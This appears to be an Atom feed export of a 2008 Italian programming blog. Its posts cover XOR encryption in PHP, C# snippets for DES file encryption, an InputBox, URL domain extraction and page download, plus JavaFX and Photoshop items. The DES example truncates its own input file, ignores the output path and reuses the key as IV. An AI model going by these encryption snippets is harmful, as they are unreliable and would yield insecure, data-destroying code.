0);"&gt;)&lt;/span&gt;;&lt;br /&gt;&lt;span style="color: rgb(177, 177, 0);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(0, 0, 136);"&gt;$InputString&lt;/span&gt;;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;function&lt;/span&gt; XORDecrypt&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 136);"&gt;$InputString&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 136);"&gt;$KeyPhrase&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 136);"&gt;$InputString&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt; &lt;a style="color: rgb(0, 0, 96);" href="http://www.php.net/base64_decode"&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;base64_decode&lt;/span&gt;&lt;/a&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 136);"&gt;$InputString&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 136);"&gt;$InputString&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt; XOREncryption&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 136);"&gt;$InputString&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 136);"&gt;$KeyPhrase&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br /&gt;&lt;span style="color: rgb(177, 177, 0);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(0, 0, 136);"&gt;$InputString&lt;/span&gt;;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3135078221907259985-7941471932048721252?l=devjoker.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devjoker.blogspot.com/feeds/7941471932048721252/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://devjoker.blogspot.com/2008/08/php-cryptare-con-algoritmo-xor.html#comment-form' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/7941471932048721252'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/7941471932048721252'/><link rel='alternate' type='text/html' href='http://devjoker.blogspot.com/2008/08/php-cryptare-con-algoritmo-xor.html' title='PHP: Cryptare con algoritmo XOR'/><author><name>Rocco Verrastro</name><uri>http://www.blogger.com/profile/14095545761949261274</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_o4CtEdXe-DM/SLfr1ziEEJI/AAAAAAAAADA/2XUFGHW91M4/S220/IMAG0049-MSN.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3135078221907259985.post-6484627129053043603</id><published>2008-08-31T03:09:00.002+02:00</published><updated>2008-09-03T21:05:32.957+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web News'/><title type='text'>JavaFX e il Web 3.0</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_o4CtEdXe-DM/SLp-BElvt4I/AAAAAAAAAHU/gy_jH792n9o/s1600-h/web3.gif"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://4.bp.blogspot.com/_o4CtEdXe-DM/SLp-BElvt4I/AAAAAAAAAHU/gy_jH792n9o/s200/web3.gif" alt="" id="BLOGGER_PHOTO_ID_5240639673276020610" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Nel caso qualcuno non sia a conoscenza, il Web 2.0 è un termine coniato per descrivere l'immensa quantità di siti web oggi esistenti che permette agli utenti Internet di avere un posto dove partecipare interattivamente in tanti modi diversi. Degli esempi di Web 2.0 possono essere Flickr, dove gli utenti condividono foto, YouTube per i video o Wikipedia dove tutti possono contribuire ai contenuti di un articolo.&lt;br /&gt;Di recente si sente parlare molto di Web 3.0, ma cosa si intende esattamente per 3.0?&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;Si intende la navigazione sul web totalmente (o quasi) in 3D. Se il Web 2.0 è basato sul lato "sociale" del mondo online, le applicazioni web 3.0 saranno focalizzate verso i gruppi. Tutto questo è possibile grazie allo sviluppo di processori più veloci e di un'alta velocità di accesso alla banda larga. Le applicazione web 3.0 saranno basate su una realtà virtuale, luogo in cui gli utenti saranno immersi nei contenuti e potranno provare qualsiasi cosa.&lt;br /&gt;&lt;a href="http://www.sun.com/" target="_blank"&gt;Sun Microsystem&lt;/a&gt; ha da poco reso pubblica l’anteprima della &lt;a target="_blank" href="http://www.javafx.com/"&gt;JavaFX&lt;/a&gt;, piattaforma di programmazione basata sulle RIE (Rich Internet Applications), ovvero applicazioni web che possiedono tutte quelle funzionalità tipiche di ogni computer senza però essere necessariamente installate sul disco fisso.&lt;br /&gt;Ecco una nuova applicazione (ancora in fase di sviluppo) chiamata &lt;a href="http://cooliris.com/" target="_blank"&gt;Cooliris&lt;/a&gt; che permette di farci vedere in anteprima come potrebbe presentarsi ai nostri occhi una navigazione web 3.0.&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3135078221907259985-6484627129053043603?l=devjoker.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devjoker.blogspot.com/feeds/6484627129053043603/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://devjoker.blogspot.com/2008/08/javafx-e-il-web-30.html#comment-form' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/6484627129053043603'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/6484627129053043603'/><link rel='alternate' type='text/html' href='http://devjoker.blogspot.com/2008/08/javafx-e-il-web-30.html' title='JavaFX e il Web 3.0'/><author><name>Rocco Verrastro</name><uri>http://www.blogger.com/profile/14095545761949261274</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_o4CtEdXe-DM/SLfr1ziEEJI/AAAAAAAAADA/2XUFGHW91M4/S220/IMAG0049-MSN.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_o4CtEdXe-DM/SLp-BElvt4I/AAAAAAAAAHU/gy_jH792n9o/s72-c/web3.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3135078221907259985.post-5123715117719645287</id><published>2008-08-31T03:09:00.000+02:00</published><updated>2008-09-01T01:46:19.770+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Photoshop'/><category scheme='http://www.blogger.com/atom/ns#' term='Tutorials'/><category scheme='http://www.blogger.com/atom/ns#' term='Graphic'/><title type='text'>Photoshop: Impariamo il fotoritocco</title><content type='html'>&lt;a href="http://1.bp.blogspot.com/_o4CtEdXe-DM/SLobNwqty0I/AAAAAAAAAGU/jRXzAkfZFD4/s1600-h/Figura%25201.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5240531039615306562" style="margin: 0px auto 10px; display: block; text-align: center;" alt="" src="http://1.bp.blogspot.com/_o4CtEdXe-DM/SLobNwqty0I/AAAAAAAAAGU/jRXzAkfZFD4/s320/Figura%25201.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Un post su una delle mie passioni preferite, il fotoritocco.&lt;br /&gt;Essendo un campo molto particolare non basterà certamente un semplice tutorial come questo per illustrarvi tutto ciò che bisogna sapere, ma può essere un ottimo punto di partenza.&lt;br /&gt;&lt;br /&gt;Il tutorial è visualizzabile a &lt;a href="http://www.zmphoto.it/articoli/fotoritocco_beauty_fashion/" target="_blank"&gt;questo&lt;/a&gt; indirizzo.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3135078221907259985-5123715117719645287?l=devjoker.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devjoker.blogspot.com/feeds/5123715117719645287/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://devjoker.blogspot.com/2008/08/photoshop-impariamo-il-fotoritocco.html#comment-form' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/5123715117719645287'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/5123715117719645287'/><link rel='alternate' type='text/html' href='http://devjoker.blogspot.com/2008/08/photoshop-impariamo-il-fotoritocco.html' title='Photoshop: Impariamo il fotoritocco'/><author><name>Rocco Verrastro</name><uri>http://www.blogger.com/profile/14095545761949261274</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_o4CtEdXe-DM/SLfr1ziEEJI/AAAAAAAAADA/2XUFGHW91M4/S220/IMAG0049-MSN.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_o4CtEdXe-DM/SLobNwqty0I/AAAAAAAAAGU/jRXzAkfZFD4/s72-c/Figura%25201.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3135078221907259985.post-1901692843922236839</id><published>2008-08-30T18:00:00.000+02:00</published><updated>2008-09-01T01:46:47.490+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Photoshop'/><category scheme='http://www.blogger.com/atom/ns#' term='Tutorials'/><category scheme='http://www.blogger.com/atom/ns#' term='Graphic'/><title type='text'>Photoshop: 41 effetti spettacolari</title><content type='html'>&lt;a href="http://2.bp.blogspot.com/_o4CtEdXe-DM/SLnviKMKnfI/AAAAAAAAAGM/XHY7E4xfA8U/s1600-h/dimension.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5240483011552255474" style="margin: 0px auto 10px; display: block; text-align: center;" alt="" src="http://2.bp.blogspot.com/_o4CtEdXe-DM/SLnviKMKnfI/AAAAAAAAAGM/XHY7E4xfA8U/s320/dimension.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Ecco Photoshop quanto potente può essere in termini di foto editing. Ecco una raccolta di &lt;a href="http://www.hongkiat.com/blog/41-nicest-photoshop-photo-effects-photoshop-tutorials" target="_blank"&gt;41 spettacolari Tutorial in Photoshop&lt;/a&gt; che permettono di realizzare effetti davvero unici.&lt;br /&gt;Poi il resto sta alla vostra immaginazione e fantasia.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3135078221907259985-1901692843922236839?l=devjoker.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devjoker.blogspot.com/feeds/1901692843922236839/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://devjoker.blogspot.com/2008/08/stupendo-effetto-in-photoshop.html#comment-form' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/1901692843922236839'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/1901692843922236839'/><link rel='alternate' type='text/html' href='http://devjoker.blogspot.com/2008/08/stupendo-effetto-in-photoshop.html' title='Photoshop: 41 effetti spettacolari'/><author><name>Rocco Verrastro</name><uri>http://www.blogger.com/profile/14095545761949261274</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_o4CtEdXe-DM/SLfr1ziEEJI/AAAAAAAAADA/2XUFGHW91M4/S220/IMAG0049-MSN.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_o4CtEdXe-DM/SLnviKMKnfI/AAAAAAAAAGM/XHY7E4xfA8U/s72-c/dimension.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3135078221907259985.post-2928664636671254127</id><published>2008-08-29T02:48:00.007+02:00</published><updated>2008-08-31T15:34:08.420+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C-sharp'/><title type='text'>InputBox di Visual Basic 6.0 in C#</title><content type='html'>&lt;div style="text-align: justify;"&gt;Sfortunatamente in C# non esiste una funzione InputBox() come in Visual Basic 6.0/.NET ma si può risolvere il problema aggiungendo il riferimento a 'Microsoft.VisualBasic.dll'.&lt;br /&gt;In Visual Studio 2005/2008 andare in Esplora Soluzioni, tasto destro su Riferimenti -&gt; Aggiungi Riferimento. Nel tab .NET selezionare Microsoft.VisualBasic e fare OK.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Ecco un esempio di una InputBox dove inserire un valore:&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;code class="csharpcode"&gt;&lt;br /&gt;       &lt;span class="kwrd"&gt;private&lt;/span&gt; &lt;span class="kwrd"&gt;void&lt;/span&gt; show_InputBox()&lt;br /&gt;       {&lt;br /&gt;           String Prompt = &lt;span class="str"&gt;"Inserisci valore"&lt;/span&gt;;&lt;br /&gt;           String Title = &lt;span class="str"&gt;"Valore richiesto"&lt;/span&gt;;&lt;br /&gt;           String Default = &lt;span class="str"&gt;""&lt;/span&gt;;&lt;br /&gt;           Int32 XPos = ((SystemInformation.WorkingArea.Width / 2) - 200);&lt;br /&gt;           Int32 YPos = ((SystemInformation.WorkingArea.Height / 2) - 100);&lt;br /&gt;&lt;br /&gt;           String Result = Microsoft.VisualBasic.Interaction.InputBox(Prompt, Title, Default, XPos, YPos);&lt;br /&gt;&lt;br /&gt;           &lt;span class="kwrd"&gt;if&lt;/span&gt; (Result != &lt;span class="str"&gt;""&lt;/span&gt;)&lt;br /&gt;           {&lt;br /&gt;               &lt;span class="rem"&gt;//Codice per valore inserito. Esempio:&lt;/span&gt;&lt;br /&gt;               MessageBox.Show(&lt;span class="str"&gt;"Valore inserito: "&lt;/span&gt; + Result);&lt;br /&gt;           }&lt;br /&gt;           &lt;span class="kwrd"&gt;else&lt;/span&gt;&lt;br /&gt;           {&lt;br /&gt;               &lt;span class="rem"&gt;//Codice per valore non inserito. Esempio:&lt;/span&gt;&lt;br /&gt;               MessageBox.Show(&lt;span class="str"&gt;"Valore non inserito"&lt;/span&gt;);&lt;br /&gt;           }&lt;br /&gt;       }&lt;/code&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3135078221907259985-2928664636671254127?l=devjoker.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devjoker.blogspot.com/feeds/2928664636671254127/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://devjoker.blogspot.com/2008/08/inputbox-di-visual-basic-60-in-c.html#comment-form' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/2928664636671254127'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/2928664636671254127'/><link rel='alternate' type='text/html' href='http://devjoker.blogspot.com/2008/08/inputbox-di-visual-basic-60-in-c.html' title='InputBox di Visual Basic 6.0 in C#'/><author><name>Rocco Verrastro</name><uri>http://www.blogger.com/profile/14095545761949261274</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_o4CtEdXe-DM/SLfr1ziEEJI/AAAAAAAAADA/2XUFGHW91M4/S220/IMAG0049-MSN.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3135078221907259985.post-2462985703988363922</id><published>2008-08-29T02:48:00.006+02:00</published><updated>2008-08-30T18:42:09.227+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C-sharp'/><title type='text'>Cryptare e decryptare file di testo usando una password</title><content type='html'>Un esempio su come cryptare e decryptare con una password, tramite l'algoritmo DES, un file di testo.&lt;br/&gt;&lt;br /&gt;- Il parametro sInputFilename specifica il file da cryptare.&lt;br /&gt;- Il parametro sOutputFilename specifica il file da decryptare.&lt;br /&gt;- Il parametro sKey specifica la password da utilizzare.&lt;br /&gt;&lt;br /&gt;Utilizzare i seguenti Namespace:&lt;br /&gt;&lt;code class="csharpcode"&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;using&lt;/span&gt; System;&lt;br /&gt;&lt;span class="kwrd"&gt;using&lt;/span&gt; System.IO;&lt;br /&gt;&lt;span class="kwrd"&gt;using&lt;/span&gt; System.Security;&lt;br /&gt;&lt;span class="kwrd"&gt;using&lt;/span&gt; System.Security.Cryptography;&lt;br /&gt;&lt;span class="kwrd"&gt;using&lt;/span&gt; System.Text;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;I metodi mostrati di seguito utilizzano il componente CryptoStream.&lt;br /&gt;&lt;code class="csharpcode"&gt;&lt;br /&gt;      &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;static&lt;/span&gt; &lt;span class="kwrd"&gt;void&lt;/span&gt; EncryptFile(&lt;span class="kwrd"&gt;string&lt;/span&gt; sInputFilename, &lt;span class="kwrd"&gt;string&lt;/span&gt; sOutputFilename, &lt;span class="kwrd"&gt;string&lt;/span&gt; sKey)&lt;br /&gt;      {&lt;br /&gt;          FileStream fsEncrypted = &lt;span class="kwrd"&gt;new&lt;/span&gt; FileStream(sInputFilename, FileMode.Create, FileAccess.ReadWrite);&lt;br /&gt;&lt;br /&gt;          DESCryptoServiceProvider DES = &lt;span class="kwrd"&gt;new&lt;/span&gt; DESCryptoServiceProvider();&lt;br /&gt;          DES.Key = ASCIIEncoding.ASCII.GetBytes(sKey);&lt;br /&gt;          DES.IV = ASCIIEncoding.ASCII.GetBytes(sKey);&lt;br /&gt;          ICryptoTransform desencrypt = DES.CreateEncryptor();&lt;br /&gt;          CryptoStream cryptostream = &lt;span class="kwrd"&gt;new&lt;/span&gt; CryptoStream(fsEncrypted, desencrypt, CryptoStreamMode.Write);&lt;br /&gt;&lt;br /&gt;          &lt;span class="kwrd"&gt;byte&lt;/span&gt;[] bytearrayinput = &lt;span class="kwrd"&gt;new&lt;/span&gt; &lt;span class="kwrd"&gt;byte&lt;/span&gt;[fsEncrypted.Length];&lt;br /&gt;          fsEncrypted.Read(bytearrayinput, 0, bytearrayinput.Length);&lt;br /&gt;          cryptostream.Write(bytearrayinput, 0, bytearrayinput.Length);&lt;br /&gt;          cryptostream.Close();&lt;br /&gt;          fsEncrypted.Close();&lt;br /&gt;      }&lt;br /&gt;&lt;br /&gt;    &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;static&lt;/span&gt; &lt;span class="kwrd"&gt;void&lt;/span&gt; DecryptFile(&lt;span class="kwrd"&gt;string&lt;/span&gt; sInputFilename, &lt;span class="kwrd"&gt;string&lt;/span&gt; sOutputFilename, &lt;span class="kwrd"&gt;string&lt;/span&gt; sKey)&lt;br /&gt;    {&lt;br /&gt;      DESCryptoServiceProvider DES = &lt;span class="kwrd"&gt;new&lt;/span&gt; DESCryptoServiceProvider();&lt;br /&gt;      DES.Key = ASCIIEncoding.ASCII.GetBytes(sKey);&lt;br /&gt;      DES.IV = ASCIIEncoding.ASCII.GetBytes(sKey);&lt;br /&gt;&lt;br /&gt;      FileStream fsread = &lt;span class="kwrd"&gt;new&lt;/span&gt; FileStream(sInputFilename, FileMode.Open, FileAccess.Read);&lt;br /&gt;      ICryptoTransform desdecrypt = DES.CreateDecryptor();&lt;br /&gt;&lt;br /&gt;      CryptoStream cryptostreamDecr = &lt;span class="kwrd"&gt;new&lt;/span&gt; CryptoStream(fsread, desdecrypt, CryptoStreamMode.Read);&lt;br /&gt;      StreamWriter fsDecrypted = &lt;span class="kwrd"&gt;new&lt;/span&gt; StreamWriter(sOutputFilename);&lt;br /&gt;      fsDecrypted.Write(&lt;span class="kwrd"&gt;new&lt;/span&gt; StreamReader(cryptostreamDecr).ReadToEnd());&lt;br /&gt;      fsDecrypted.Flush();&lt;br /&gt;      fsDecrypted.Close();&lt;br /&gt;    } &lt;br /&gt;&lt;/code&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3135078221907259985-2462985703988363922?l=devjoker.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devjoker.blogspot.com/feeds/2462985703988363922/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://devjoker.blogspot.com/2008/08/cryptare-e-decryptare-file-di-testo.html#comment-form' title='1 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/2462985703988363922'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/2462985703988363922'/><link rel='alternate' type='text/html' href='http://devjoker.blogspot.com/2008/08/cryptare-e-decryptare-file-di-testo.html' title='Cryptare e decryptare file di testo usando una password'/><author><name>Rocco Verrastro</name><uri>http://www.blogger.com/profile/14095545761949261274</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_o4CtEdXe-DM/SLfr1ziEEJI/AAAAAAAAADA/2XUFGHW91M4/S220/IMAG0049-MSN.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3135078221907259985.post-2819211555782107029</id><published>2008-08-29T02:48:00.005+02:00</published><updated>2008-08-30T18:42:44.917+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C-sharp'/><title type='text'>Estrarre il nome del dominio da un URL</title><content type='html'>Un esempio su come estrarre il nome del dominio da un indirizzo web.&lt;br&gt;&lt;br /&gt;- Il parametro Url specifica l'URL della pagina web.&lt;br /&gt;&lt;code class="csharpcode"&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;static&lt;/span&gt; &lt;span class="kwrd"&gt;string&lt;/span&gt; ExtractDomainNameFromURL(&lt;span class="kwrd"&gt;string&lt;/span&gt; Url)&lt;br /&gt;{&lt;br /&gt;    &lt;span class="kwrd"&gt;if&lt;/span&gt; (!Url.Contains(&lt;span class="str"&gt;"://"&lt;/span&gt;))&lt;br /&gt;        Url = &lt;span class="str"&gt;"http://"&lt;/span&gt; + Url;&lt;br /&gt; &lt;br /&gt;    &lt;span class="kwrd"&gt;return&lt;/span&gt; &lt;span class="kwrd"&gt;new&lt;/span&gt; Uri(Url).Host;&lt;br /&gt;}&lt;/code&gt;&lt;br/&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Anche se è un metodo più lento, mostro come fare la stessa cosa utilizzando le espressioni regolari:&lt;br /&gt;&lt;code class="csharpcode"&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;static&lt;/span&gt; &lt;span class="kwrd"&gt;string&lt;/span&gt; ExtractDomainNameFromURL(&lt;span class="kwrd"&gt;string&lt;/span&gt; Url)&lt;br /&gt;{&lt;br /&gt;    &lt;span class="kwrd"&gt;return&lt;/span&gt; System.Text.RegularExpressions.Regex.Replace(&lt;br /&gt;        Url, &lt;br /&gt;        &lt;span class="str"&gt;@"^([a-zA-Z]+:\/\/)?([^\/]+)\/.*?$"&lt;/span&gt;, &lt;br /&gt;        &lt;span class="str"&gt;"$2"&lt;/span&gt;&lt;br /&gt;    );&lt;br /&gt;}&lt;/code&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3135078221907259985-2819211555782107029?l=devjoker.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devjoker.blogspot.com/feeds/2819211555782107029/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://devjoker.blogspot.com/2008/08/estrarre-il-nome-del-dominio-da-un-url.html#comment-form' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/2819211555782107029'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/2819211555782107029'/><link rel='alternate' type='text/html' href='http://devjoker.blogspot.com/2008/08/estrarre-il-nome-del-dominio-da-un-url.html' title='Estrarre il nome del dominio da un URL'/><author><name>Rocco Verrastro</name><uri>http://www.blogger.com/profile/14095545761949261274</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_o4CtEdXe-DM/SLfr1ziEEJI/AAAAAAAAADA/2XUFGHW91M4/S220/IMAG0049-MSN.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3135078221907259985.post-5898190074587349256</id><published>2008-08-29T02:48:00.004+02:00</published><updated>2008-08-30T18:43:49.605+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C-sharp'/><title type='text'>Download di una pagina web</title><content type='html'>Questo è un esempio su come salvare il contenuto di una pagina web in una stringa.&lt;br /&gt;&lt;br /&gt;- Il parametro Url specifica l'URL della pagina web.&lt;br /&gt;&lt;code class="csharpcode"&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;string&lt;/span&gt; DownloadWebPage(&lt;span class="kwrd"&gt;string&lt;/span&gt; Url)&lt;br /&gt;{&lt;br /&gt;&lt;span class="rem"&gt;// Apre la connessione&lt;/span&gt;&lt;br /&gt;HttpWebRequest WebRequestObject = (HttpWebRequest)HttpWebRequest.Create(Url);&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;span class="rem"&gt;// Si possono specificare i valori di un header aggiuntivo&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;// come l'user agent o il referer:&lt;/span&gt;&lt;br /&gt;WebRequestObject.UserAgent = &lt;span class="str"&gt;".NET Framework/2.0"&lt;/span&gt;;&lt;br /&gt;WebRequestObject.Referer = &lt;span class="str"&gt;"http://www.example.com/"&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;&lt;span class="rem"&gt;// Risposta della richiesta:&lt;/span&gt;&lt;br /&gt;WebResponse Response = WebRequestObject.GetResponse();&lt;br /&gt;&lt;br /&gt;&lt;span class="rem"&gt;// Apre lo stream:&lt;/span&gt;&lt;br /&gt;Stream WebStream = Response.GetResponseStream();&lt;br /&gt;&lt;br /&gt;&lt;span class="rem"&gt;// Crea un oggetto per la lettura:&lt;/span&gt;&lt;br /&gt;StreamReader Reader = &lt;span class="kwrd"&gt;new&lt;/span&gt; StreamReader(WebStream);&lt;br /&gt;&lt;br /&gt;&lt;span class="rem"&gt;// Legge l'intero contenuto dello stream:&lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;string&lt;/span&gt; PageContent = Reader.ReadToEnd();&lt;br /&gt;&lt;br /&gt;&lt;span class="rem"&gt;// Pulisce&lt;/span&gt;&lt;br /&gt;Reader.Close();&lt;br /&gt;WebStream.Close();&lt;br /&gt;Response.Close();&lt;br /&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;return&lt;/span&gt; PageContent;&lt;br /&gt;}&lt;/code&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3135078221907259985-5898190074587349256?l=devjoker.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devjoker.blogspot.com/feeds/5898190074587349256/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://devjoker.blogspot.com/2008/08/download-di-una-pagina-web.html#comment-form' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/5898190074587349256'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/5898190074587349256'/><link rel='alternate' type='text/html' href='http://devjoker.blogspot.com/2008/08/download-di-una-pagina-web.html' title='Download di una pagina web'/><author><name>Rocco Verrastro</name><uri>http://www.blogger.com/profile/14095545761949261274</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' 